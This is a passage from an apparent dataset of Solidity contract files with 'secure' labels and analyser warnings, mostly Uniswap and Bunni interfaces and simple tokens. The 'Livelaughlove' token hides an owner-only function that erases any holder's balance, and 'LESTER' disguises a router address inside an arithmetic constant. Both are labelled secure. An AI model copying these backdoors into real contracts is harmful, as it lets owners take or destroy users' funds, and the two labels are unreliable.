"file_name": "solidity_code_2276.sol",
"secure": 1,
"size_bytes": 464
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3PoolState {\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n\n function feeGrowthGlobal0X128() external view returns (uint256);\n\n function feeGrowthGlobal1X128() external view returns (uint256);\n\n function protocolFees()\n external\n view\n returns (uint128 token0, uint128 token1);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e70753f): IUniswapV3PoolState.positions(bytes32).liquidity shadows IUniswapV3PoolState.liquidity() (function)\n\t// Recommendation for e70753f: Rename the local variables that shadow another component.\n function liquidity() external view returns (uint128);\n\n function ticks(\n int24 tick\n )\n external\n view\n returns (\n uint128 liquidityGross,\n int128 liquidityNet,\n uint256 feeGrowthOutside0X128,\n uint256 feeGrowthOutside1X128,\n int56 tickCumulativeOutside,\n uint160 secondsPerLiquidityOutsideX128,\n uint32 secondsOutside,\n bool initialized\n );\n\n function tickBitmap(int16 wordPosition) external view returns (uint256);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e70753f): IUniswapV3PoolState.positions(bytes32).liquidity shadows IUniswapV3PoolState.liquidity() (function)\n\t// Recommendation for e70753f: Rename the local variables that shadow another component.\n function positions(\n bytes32 key\n )\n external\n view\n returns (\n uint128 liquidity,\n uint256 feeGrowthInside0LastX128,\n uint256 feeGrowthInside1LastX128,\n uint128 tokensOwed0,\n uint128 tokensOwed1\n );\n\n function observations(\n uint256 index\n )\n external\n view\n returns (\n uint32 blockTimestamp,\n int56 tickCumulative,\n uint160 secondsPerLiquidityCumulativeX128,\n bool initialized\n );\n}",
"file_name": "solidity_code_2277.sol",
"secure": 0,
"size_bytes": 2393
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3PoolDerivedState {\n function observe(\n uint32[] calldata secondsAgos\n )\n external\n view\n returns (\n int56[] memory tickCumulatives,\n uint160[] memory secondsPerLiquidityCumulativeX128s\n );\n\n function snapshotCumulativesInside(\n int24 tickLower,\n int24 tickUpper\n )\n external\n view\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n );\n}",
"file_name": "solidity_code_2278.sol",
"secure": 1,
"size_bytes": 640
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3PoolActions {\n function initialize(uint160 sqrtPriceX96) external;\n\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint256 amount0, uint256 amount1);\n\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external returns (uint256 amount0, uint256 amount1);\n\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external;\n\n function increaseObservationCardinalityNext(\n uint16 observationCardinalityNext\n ) external;\n}",
"file_name": "solidity_code_2279.sol",
"secure": 1,
"size_bytes": 1260
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Tina is ERC20 {\n constructor() ERC20(\"Tina\", \"TINA\") {\n _mint(msg.sender, 1000000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_228.sol",
"secure": 1,
"size_bytes": 266
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3PoolOwnerActions {\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;\n\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n}",
"file_name": "solidity_code_2280.sol",
"secure": 1,
"size_bytes": 376
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3PoolErrors {\n error LOK();\n error TLU();\n error TLM();\n error TUM();\n error AI();\n error M0();\n error M1();\n error AS();\n error IIA();\n error L();\n error F0();\n error F1();\n}",
"file_name": "solidity_code_2281.sol",
"secure": 1,
"size_bytes": 309
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3PoolEvents {\n event Initialize(uint160 sqrtPriceX96, int24 tick);\n\n event Mint(\n address sender,\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n event Collect(\n address indexed owner,\n address recipient,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount0,\n uint128 amount1\n );\n\n event Burn(\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n event Swap(\n address indexed sender,\n address indexed recipient,\n int256 amount0,\n int256 amount1,\n uint160 sqrtPriceX96,\n uint128 liquidity,\n int24 tick\n );\n\n event Flash(\n address indexed sender,\n address indexed recipient,\n uint256 amount0,\n uint256 amount1,\n uint256 paid0,\n uint256 paid1\n );\n\n event IncreaseObservationCardinalityNext(\n uint16 observationCardinalityNextOld,\n uint16 observationCardinalityNextNew\n );\n\n event SetFeeProtocol(\n uint8 feeProtocol0Old,\n uint8 feeProtocol1Old,\n uint8 feeProtocol0New,\n uint8 feeProtocol1New\n );\n\n event CollectProtocol(\n address indexed sender,\n address indexed recipient,\n uint128 amount0,\n uint128 amount1\n );\n}",
"file_name": "solidity_code_2282.sol",
"secure": 1,
"size_bytes": 1691
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./IUniswapV3PoolImmutables.sol\" as IUniswapV3PoolImmutables;\nimport \"./IUniswapV3PoolState.sol\" as IUniswapV3PoolState;\nimport \"./IUniswapV3PoolDerivedState.sol\" as IUniswapV3PoolDerivedState;\nimport \"./IUniswapV3PoolActions.sol\" as IUniswapV3PoolActions;\nimport \"./IUniswapV3PoolOwnerActions.sol\" as IUniswapV3PoolOwnerActions;\nimport \"./IUniswapV3PoolErrors.sol\" as IUniswapV3PoolErrors;\nimport \"./IUniswapV3PoolEvents.sol\" as IUniswapV3PoolEvents;\n\ninterface IUniswapV3Pool is\n IUniswapV3PoolImmutables,\n IUniswapV3PoolState,\n IUniswapV3PoolDerivedState,\n IUniswapV3PoolActions,\n IUniswapV3PoolOwnerActions,\n IUniswapV3PoolErrors,\n IUniswapV3PoolEvents\n{}",
"file_name": "solidity_code_2283.sol",
"secure": 1,
"size_bytes": 769
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IMulticall {\n function multicall(\n bytes[] calldata data\n ) external payable returns (bytes[] memory results);\n}",
"file_name": "solidity_code_2284.sol",
"secure": 1,
"size_bytes": 205
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol\" as IUniswapV3Pool;\n\ninterface ISelfPermit {\n function selfPermit(\n address token,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external payable;\n\n function selfPermitIfNecessary(\n address token,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external payable;\n\n function selfPermitAllowed(\n address token,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external payable;\n\n function selfPermitAllowedIfNecessary(\n address token,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external payable;\n}\n\nstruct BunniKey {\n IUniswapV3Pool pool;\n int24 tickLower;\n int24 tickUpper;\n}",
"file_name": "solidity_code_2285.sol",
"secure": 1,
"size_bytes": 1044
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function nonces(address account) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_2286.sol",
"secure": 1,
"size_bytes": 1395
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol\" as IUniswapV3Pool;\nimport \"./IBunniHub.sol\" as IBunniHub;\n\ninterface IBunniToken is IERC20 {\n function pool() external view returns (IUniswapV3Pool);\n\n function tickLower() external view returns (int24);\n\n function tickUpper() external view returns (int24);\n\n function hub() external view returns (IBunniHub);\n\n function mint(address to, uint256 amount) external;\n\n function burn(address from, uint256 amount) external;\n}",
"file_name": "solidity_code_2287.sol",
"secure": 1,
"size_bytes": 653
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3Factory {\n event OwnerChanged(address indexed oldOwner, address indexed newOwner);\n\n event PoolCreated(\n address indexed token0,\n address indexed token1,\n uint24 indexed fee,\n int24 tickSpacing,\n address pool\n );\n\n event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);\n\n function owner() external view returns (address);\n\n function feeAmountTickSpacing(uint24 fee) external view returns (int24);\n\n function getPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external view returns (address pool);\n\n function createPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external returns (address pool);\n\n function setOwner(address _owner) external;\n\n function enableFeeAmount(uint24 fee, int24 tickSpacing) external;\n}",
"file_name": "solidity_code_2288.sol",
"secure": 1,
"size_bytes": 971
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3MintCallback {\n function uniswapV3MintCallback(\n uint256 amount0Owed,\n uint256 amount1Owed,\n bytes calldata data\n ) external;\n}",
"file_name": "solidity_code_2289.sol",
"secure": 1,
"size_bytes": 246
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BoysClub is ERC20, Ownable {\n function uniqueBoysClubTag() public pure returns (string memory) {\n return \"MattF Will Be Proud - Since 2005 The Club Was Formed\";\n }\n\n function boysClubVersion() public pure returns (uint256) {\n return 97123984023;\n }\n\n constructor(\n address initialOwner\n ) ERC20(\"Boys Club\", \"BOYSCLUB\") Ownable(initialOwner) {\n _mint(msg.sender, 420000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_229.sol",
"secure": 1,
"size_bytes": 674
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./IUniswapV3MintCallback.sol\" as IUniswapV3MintCallback;\nimport \"@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol\" as IUniswapV3Factory;\n\ninterface ILiquidityManagement is IUniswapV3MintCallback {\n function factory() external view returns (IUniswapV3Factory);\n}",
"file_name": "solidity_code_2290.sol",
"secure": 1,
"size_bytes": 354
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./IMulticall.sol\" as IMulticall;\nimport \"./ISelfPermit.sol\" as ISelfPermit;\nimport \"./ILiquidityManagement.sol\" as ILiquidityManagement;\nimport \"@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol\" as IUniswapV3Pool;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IBunniToken.sol\" as IBunniToken;\n\ninterface IBunniHub is IMulticall, ISelfPermit, ILiquidityManagement {\n event Deposit(\n address indexed sender,\n address indexed recipient,\n bytes32 indexed bunniKeyHash,\n uint128 liquidity,\n uint256 amount0,\n uint256 amount1,\n uint256 shares\n );\n\n event Withdraw(\n address indexed sender,\n address indexed recipient,\n bytes32 indexed bunniKeyHash,\n uint128 liquidity,\n uint256 amount0,\n uint256 amount1,\n uint256 shares\n );\n\n event Compound(\n address indexed sender,\n bytes32 indexed bunniKeyHash,\n uint128 liquidity,\n uint256 amount0,\n uint256 amount1\n );\n\n event NewBunni(\n IBunniToken indexed token,\n bytes32 indexed bunniKeyHash,\n IUniswapV3Pool indexed pool,\n int24 tickLower,\n int24 tickUpper\n );\n\n event PayProtocolFee(uint256 amount0, uint256 amount1);\n\n event SetProtocolFee(uint256 newProtocolFee);\n\n struct DepositParams {\n BunniKey key;\n uint256 amount0Desired;\n uint256 amount1Desired;\n uint256 amount0Min;\n uint256 amount1Min;\n uint256 deadline;\n address recipient;\n }\n\n function deposit(\n DepositParams calldata params\n )\n external\n payable\n returns (\n uint256 shares,\n uint128 addedLiquidity,\n uint256 amount0,\n uint256 amount1\n );\n\n struct WithdrawParams {\n BunniKey key;\n address recipient;\n uint256 shares;\n uint256 amount0Min;\n uint256 amount1Min;\n uint256 deadline;\n }\n\n function withdraw(\n WithdrawParams calldata params\n )\n external\n returns (uint128 removedLiquidity, uint256 amount0, uint256 amount1);\n\n function compound(\n BunniKey calldata key\n )\n external\n returns (uint128 addedLiquidity, uint256 amount0, uint256 amount1);\n\n function deployBunniToken(\n BunniKey calldata key\n ) external returns (IBunniToken token);\n\n function getBunniToken(\n BunniKey calldata key\n ) external view returns (IBunniToken token);\n\n function sweepTokens(\n IERC20[] calldata tokenList,\n address recipient\n ) external;\n\n function setProtocolFee(uint256 value) external;\n\n function protocolFee() external returns (uint256);\n}",
"file_name": "solidity_code_2291.sol",
"secure": 1,
"size_bytes": 2938
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nlibrary Bytes32AddressLib {\n function fromLast20Bytes(\n bytes32 bytesValue\n ) internal pure returns (address) {\n return address(uint160(uint256(bytesValue)));\n }\n\n function fillLast12Bytes(\n address addressValue\n ) internal pure returns (bytes32) {\n return bytes32(bytes20(addressValue));\n }\n}",
"file_name": "solidity_code_2292.sol",
"secure": 1,
"size_bytes": 417
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\ninterface IHevm {\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function prank(\n address,\n address,\n bytes calldata\n ) external payable returns (bool, bytes memory);\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert(bytes calldata) external;\n}",
"file_name": "solidity_code_2293.sol",
"secure": 1,
"size_bytes": 802
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface ILiquidityGauge {\n event RelativeWeightCapChanged(uint256 new_relative_weight_cap);\n\n function integrate_fraction(address user) external view returns (uint256);\n\n function user_checkpoint(address user) external returns (bool);\n\n function is_killed() external view returns (bool);\n\n function killGauge() external;\n\n function unkillGauge() external;\n\n function makeGaugePermissionless() external;\n\n function setRelativeWeightCap(uint256 relativeWeightCap) external;\n\n function getRelativeWeightCap() external view returns (uint256);\n\n function getCappedRelativeWeight(\n uint256 time\n ) external view returns (uint256);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ccd620c): ILiquidityGauge.initialize(address,uint256,address,address,bytes32).admin shadows ILiquidityGauge.admin() (function)\n\t// Recommendation for ccd620c: Rename the local variables that shadow another component.\n function initialize(\n address lpToken,\n uint256 relativeWeightCap,\n address votingEscrowDelegation,\n address admin,\n bytes32 positionKey\n ) external;\n\n function change_pending_admin(address newPendingAdmin) external;\n\n function claim_admin() external;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ccd620c): ILiquidityGauge.initialize(address,uint256,address,address,bytes32).admin shadows ILiquidityGauge.admin() (function)\n\t// Recommendation for ccd620c: Rename the local variables that shadow another component.\n function admin() external view returns (address);\n\n function deposit(uint256 amount) external;\n\n function withdraw(uint256 amount) external;\n\n function balanceOf(address account) external view returns (uint256);\n\n function claim_rewards() external;\n}",
"file_name": "solidity_code_2294.sol",
"secure": 0,
"size_bytes": 1915
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/Clones.sol\" as Clones;\nimport \"./ILiquidityGauge.sol\" as ILiquidityGauge;\n\nabstract contract BaseGaugeFactory {\n ILiquidityGauge private immutable _gaugeImplementation;\n\n mapping(address => bool) private _isGaugeFromFactory;\n\n event GaugeCreated(address indexed gauge);\n\n constructor(ILiquidityGauge gaugeImplementation) {\n _gaugeImplementation = gaugeImplementation;\n }\n\n function getGaugeImplementation() public view returns (ILiquidityGauge) {\n return _gaugeImplementation;\n }\n\n function isGaugeFromFactory(address gauge) external view returns (bool) {\n return _isGaugeFromFactory[gauge];\n }\n\n function _create(bytes32 salt) internal returns (address) {\n address gauge = Clones.cloneDeterministic(\n address(_gaugeImplementation),\n salt\n );\n\n _isGaugeFromFactory[gauge] = true;\n emit GaugeCreated(gauge);\n\n return gauge;\n }\n}",
"file_name": "solidity_code_2295.sol",
"secure": 1,
"size_bytes": 1075
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./BaseGaugeFactory.sol\" as BaseGaugeFactory;\nimport \"./IBunniHub.sol\" as IBunniHub;\nimport \"./Bytes32AddressLib.sol\" as Bytes32AddressLib;\nimport \"./ILiquidityGauge.sol\" as ILiquidityGauge;\n\ncontract TimelessLiquidityGaugeFactory is BaseGaugeFactory {\n using Bytes32AddressLib for address;\n\n error TimelessLiquidityGaugeFactory__InvalidBunniKey();\n\n address public immutable gaugeAdmin;\n IBunniHub public immutable bunniHub;\n address public immutable votingEscrowDelegation;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a6fdf15): TimelessLiquidityGaugeFactory.constructor(ILiquidityGauge,address,address,IBunniHub).gaugeAdmin_ lacks a zerocheck on \t gaugeAdmin = gaugeAdmin_\n\t// Recommendation for a6fdf15: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f770223): TimelessLiquidityGaugeFactory.constructor(ILiquidityGauge,address,address,IBunniHub).votingEscrowDelegation_ lacks a zerocheck on \t votingEscrowDelegation = votingEscrowDelegation_\n\t// Recommendation for f770223: Check that the address is not zero.\n constructor(\n ILiquidityGauge gaugeTemplate,\n address gaugeAdmin_,\n address votingEscrowDelegation_,\n IBunniHub bunniHub_\n ) BaseGaugeFactory(gaugeTemplate) {\n bunniHub = bunniHub_;\n\t\t// missing-zero-check | ID: a6fdf15\n gaugeAdmin = gaugeAdmin_;\n\t\t// missing-zero-check | ID: f770223\n votingEscrowDelegation = votingEscrowDelegation_;\n }\n\n function create(\n BunniKey calldata key,\n uint256 relativeWeightCap\n ) external returns (address) {\n address lpToken = address(bunniHub.getBunniToken(key));\n if (lpToken == address(0)) {\n revert TimelessLiquidityGaugeFactory__InvalidBunniKey();\n }\n\n address gauge = _create(lpToken.fillLast12Bytes());\n ILiquidityGauge(gauge).initialize(\n lpToken,\n relativeWeightCap,\n votingEscrowDelegation,\n gaugeAdmin,\n keccak256(abi.encode(key))\n );\n return gauge;\n }\n}",
"file_name": "solidity_code_2296.sol",
"secure": 0,
"size_bytes": 2230
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract FaToadz is ERC721A {\n string uri = \"ipfs://QmZQPc4ZW2F211BmQcVM6mZFeBnZq2YUccagWPr5dxacY2/\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ed87f7): FaToadz.owner should be immutable \n\t// Recommendation for 9ed87f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1acce1): FaToadz.maxSupply should be constant \n\t// Recommendation for e1acce1: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 3499;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee86388): FaToadz.mintPrice should be constant \n\t// Recommendation for ee86388: Add the 'constant' attribute to state variables that never change.\n uint256 public mintPrice = 0.0015 ether;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ea26b79): FaToadz.maxPerWallet should be immutable \n\t// Recommendation for ea26b79: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private maxPerWallet;\n\n function mintT(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n require(msg.value >= mintPrice * amount);\n _safeMint(msg.sender, amount);\n }\n\n function mint() public {\n require(msg.sender == tx.origin);\n require(totalSupply() + 1 <= maxSupply);\n require(balanceOf(msg.sender) < maxPerWallet);\n _mints(msg.sender);\n }\n\n function _mints(address addr) internal {\n _mint(msg.sender, FreeNum());\n }\n\n function communityMint(address addr, uint256 amount) public onlyOwner {\n require(totalSupply() + amount <= maxSupply);\n _safeMint(addr, amount);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"FaToadz\", \"FaToadz\") {\n owner = msg.sender;\n maxPerWallet = 20;\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function FreeNum() internal returns (uint256) {\n if (totalSupply() < 1300) {\n return 3;\n }\n if (totalSupply() < 2300) {\n return 2;\n }\n if (totalSupply() < 2800) {\n return 1;\n }\n return 0;\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 20) / 1000;\n return (owner, royaltyAmount);\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_2297.sol",
"secure": 1,
"size_bytes": 3083
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Livelaughlove {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 70000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 28fcea3): livelaughlove._name should be constant \n\t// Recommendation for 28fcea3: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Live Laugh Love\";\n\t// WARNING Optimization Issue (constable-states | ID: c462fe8): livelaughlove._symbol should be constant \n\t// Recommendation for c462fe8: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"LLL\";\n\t// WARNING Optimization Issue (immutable-states | ID: e9c6913): livelaughlove._owner should be immutable \n\t// Recommendation for e9c6913: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function rocksinsocks(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2298.sol",
"secure": 1,
"size_bytes": 5865
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"./IHevm.sol\" as IHevm;\n\ncontract Hevm {\n IHevm internal constant hevm =\n IHevm(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n}",
"file_name": "solidity_code_2299.sol",
"secure": 1,
"size_bytes": 216
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\ncontract LESTER is Ownable {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balanceses;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe6d02b): LESTER._totalSupply should be constant \n\t// Recommendation for fe6d02b: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n string private _name;\n\n string private _symbol;\n\n UniswapRouterV2 Router2Instance;\n\n\t// WARNING Optimization Issue (constable-states | ID: b553dd0): LESTER._initSupply should be constant \n\t// Recommendation for b553dd0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSupply =\n 926978564759889006224231942057469871925424428604 - 18;\n\n function INIT() internal {\n uint256 supplyhash = _initSupply;\n\n address router_;\n\n router_ = address(uint160(supplyhash + 18));\n\n Router2Instance = UniswapRouterV2(router_);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9bf7e45): LESTER.constructor(string,string).name shadows LESTER.name() (function)\n\t// Recommendation for 9bf7e45: Rename the local variables that shadow another component.\n constructor(string memory name, string memory sym) {\n _name = name;\n\n _symbol = sym;\n\n _balanceses[_msgSender()] = _totalSupply;\n\n INIT();\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability 